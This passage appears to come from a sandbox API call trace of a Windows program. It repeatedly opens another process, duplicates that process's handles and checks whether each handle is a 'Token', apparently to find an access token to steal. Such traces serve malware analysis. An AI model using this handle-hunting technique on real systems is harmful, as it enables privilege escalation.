lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.872] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.872] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.872] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.872] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.872] LocalFree (hMem=0x160a40) returned 0x0 [0196.872] CloseHandle (hObject=0x16c) returned 1 [0196.872] CloseHandle (hObject=0x168) returned 1 [0196.872] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.872] GetCurrentProcess () returned 0xffffffffffffffff [0196.872] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x448, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.872] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.873] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.873] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.873] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.873] LocalFree (hMem=0x160a40) returned 0x0 [0196.873] CloseHandle (hObject=0x16c) returned 1 [0196.873] CloseHandle (hObject=0x168) returned 1 [0196.873] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.873] GetCurrentProcess () returned 0xffffffffffffffff [0196.873] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x44c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.873] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.873] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.873] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.873] RtlEqualUnicodeString (String1="Process", String2="Token", CaseInsensitive=1) returned 0 [0196.873] LocalFree (hMem=0x160a40) returned 0x0 [0196.873] CloseHandle (hObject=0x16c) returned 1 [0196.873] CloseHandle (hObject=0x168) returned 1 [0196.873] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.873] GetCurrentProcess () returned 0xffffffffffffffff [0196.873] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x450, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.873] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.873] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.873] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.873] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.873] LocalFree (hMem=0x160a40) returned 0x0 [0196.873] CloseHandle (hObject=0x16c) returned 1 [0196.873] CloseHandle (hObject=0x168) returned 1 [0196.874] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.874] GetCurrentProcess () returned 0xffffffffffffffff [0196.874] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x458, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.874] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.874] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.874] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.874] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.874] LocalFree (hMem=0x160a40) returned 0x0 [0196.874] CloseHandle (hObject=0x16c) returned 1 [0196.874] CloseHandle (hObject=0x168) returned 1 [0196.874] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.874] GetCurrentProcess () returned 0xffffffffffffffff [0196.874] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x45c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.874] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.874] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.874] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.874] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.874] LocalFree (hMem=0x160a40) returned 0x0 [0196.874] CloseHandle (hObject=0x16c) returned 1 [0196.874] CloseHandle (hObject=0x168) returned 1 [0196.874] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.874] GetCurrentProcess () returned 0xffffffffffffffff [0196.874] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x460, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.874] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.875] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.875] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.875] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.875] LocalFree (hMem=0x160a40) returned 0x0 [0196.875] CloseHandle (hObject=0x16c) returned 1 [0196.875] CloseHandle (hObject=0x168) returned 1 [0196.875] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.875] GetCurrentProcess () returned 0xffffffffffffffff [0196.875] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x468, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.875] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.875] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.875] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.875] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.875] LocalFree (hMem=0x160a40) returned 0x0 [0196.875] CloseHandle (hObject=0x16c) returned 1 [0196.875] CloseHandle (hObject=0x168) returned 1 [0196.875] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.875] GetCurrentProcess () returned 0xffffffffffffffff [0196.875] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x46c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.875] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.875] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.875] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.875] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.875] LocalFree (hMem=0x160a40) returned 0x0 [0196.875] CloseHandle (hObject=0x16c) returned 1 [0196.876] CloseHandle (hObject=0x168) returned 1 [0196.876] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.876] GetCurrentProcess () returned 0xffffffffffffffff [0196.876] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x470, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.876] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.876] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.876] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.876] RtlEqualUnicodeString (String1="ALPC Port", String2="Token", CaseInsensitive=1) returned 0 [0196.876] LocalFree (hMem=0x181a40) returned 0x0 [0196.876] CloseHandle (hObject=0x16c) returned 1 [0196.876] CloseHandle (hObject=0x168) returned 1 [0196.876] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.876] GetCurrentProcess () returned 0xffffffffffffffff [0196.876] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x474, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.876] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.876] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.876] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.876] RtlEqualUnicodeString (String1="Section", String2="Token", CaseInsensitive=1) returned 0 [0196.876] LocalFree (hMem=0x160a40) returned 0x0 [0196.876] CloseHandle (hObject=0x16c) returned 1 [0196.876] CloseHandle (hObject=0x168) returned 1 [0196.876] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.876] GetCurrentProcess () returned 0xffffffffffffffff [0196.877] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x478, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.877] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.877] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.877] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.877] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.877] LocalFree (hMem=0x160a40) returned 0x0 [0196.877] CloseHandle (hObject=0x16c) returned 1 [0196.877] CloseHandle (hObject=0x168) returned 1 [0196.877] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.877] GetCurrentProcess () returned 0xffffffffffffffff [0196.877] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x47c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.877] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.877] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.877] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.877] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.877] LocalFree (hMem=0x160a40) returned 0x0 [0196.877] CloseHandle (hObject=0x16c) returned 1 [0196.877] CloseHandle (hObject=0x168) returned 1 [0196.877] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.877] GetCurrentProcess () returned 0xffffffffffffffff [0196.877] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x480, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.877] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.877] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.877] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.877] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.878] LocalFree (hMem=0x160a40) returned 0x0 [0196.878] CloseHandle (hObject=0x16c) returned 1 [0196.878] CloseHandle (hObject=0x168) returned 1 [0196.878] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.878] GetCurrentProcess () returned 0xffffffffffffffff [0196.878] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x488, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.878] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.878] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.878] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.878] RtlEqualUnicodeString (String1="Section", String2="Token", CaseInsensitive=1) returned 0 [0196.878] LocalFree (hMem=0x160a40) returned 0x0 [0196.878] CloseHandle (hObject=0x16c) returned 1 [0196.878] CloseHandle (hObject=0x168) returned 1 [0196.878] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.878] GetCurrentProcess () returned 0xffffffffffffffff [0196.878] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x48c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.878] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.878] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.878] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.878] RtlEqualUnicodeString (String1="Section", String2="Token", CaseInsensitive=1) returned 0 [0196.878] LocalFree (hMem=0x160a40) returned 0x0 [0196.878] CloseHandle (hObject=0x16c) returned 1 [0196.878] CloseHandle (hObject=0x168) returned 1 [0196.878] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.879] GetCurrentProcess () returned 0xffffffffffffffff [0196.879] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x490, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.879] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.879] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.879] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.879] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.879] LocalFree (hMem=0x160a40) returned 0x0 [0196.879] CloseHandle (hObject=0x16c) returned 1 [0196.879] CloseHandle (hObject=0x168) returned 1 [0196.879] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.879] GetCurrentProcess () returned 0xffffffffffffffff [0196.879] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x494, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.879] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.879] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.879] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.879] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.879] LocalFree (hMem=0x160a40) returned 0x0 [0196.879] CloseHandle (hObject=0x16c) returned 1 [0196.879] CloseHandle (hObject=0x168) returned 1 [0196.879] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.879] GetCurrentProcess () returned 0xffffffffffffffff [0196.879] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x498, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.879] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.879] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.879] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.880] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.880] LocalFree (hMem=0x160a40) returned 0x0 [0196.880] CloseHandle (hObject=0x16c) returned 1 [0196.880] CloseHandle (hObject=0x168) returned 1 [0196.880] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.880] GetCurrentProcess () returned 0xffffffffffffffff [0196.880] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x49c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.880] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.880] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.880] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.880] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.880] LocalFree (hMem=0x160a40) returned 0x0 [0196.880] CloseHandle (hObject=0x16c) returned 1 [0196.880] CloseHandle (hObject=0x168) returned 1 [0196.880] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.880] GetCurrentProcess () returned 0xffffffffffffffff [0196.880] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x4a0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.880] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.880] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.880] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.880] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.880] LocalFree (hMem=0x160a40) returned 0x0 [0196.880] CloseHandle (hObject=0x16c) returned 1 [0196.880] CloseHandle (hObject=0x168) returned 1 [0196.881] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.881] GetCurrentProcess () returned 0xffffffffffffffff [0196.881] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x4a4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.881] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.881] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.881] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.881] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.881] LocalFree (hMem=0x160a40) returned 0x0 [0196.881] CloseHandle (hObject=0x16c) returned 1 [0196.881] CloseHandle (hObject=0x168) returned 1 [0196.881] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.881] GetCurrentProcess () returned 0xffffffffffffffff [0196.881] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x4a8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.881] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.881] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.881] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.881] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.881] LocalFree (hMem=0x160a40) returned 0x0 [0196.881] CloseHandle (hObject=0x16c) returned 1 [0196.881] CloseHandle (hObject=0x168) returned 1 [0196.881] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.881] GetCurrentProcess () returned 0xffffffffffffffff [0196.881] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x4ac, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.881] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.881] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.882] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, 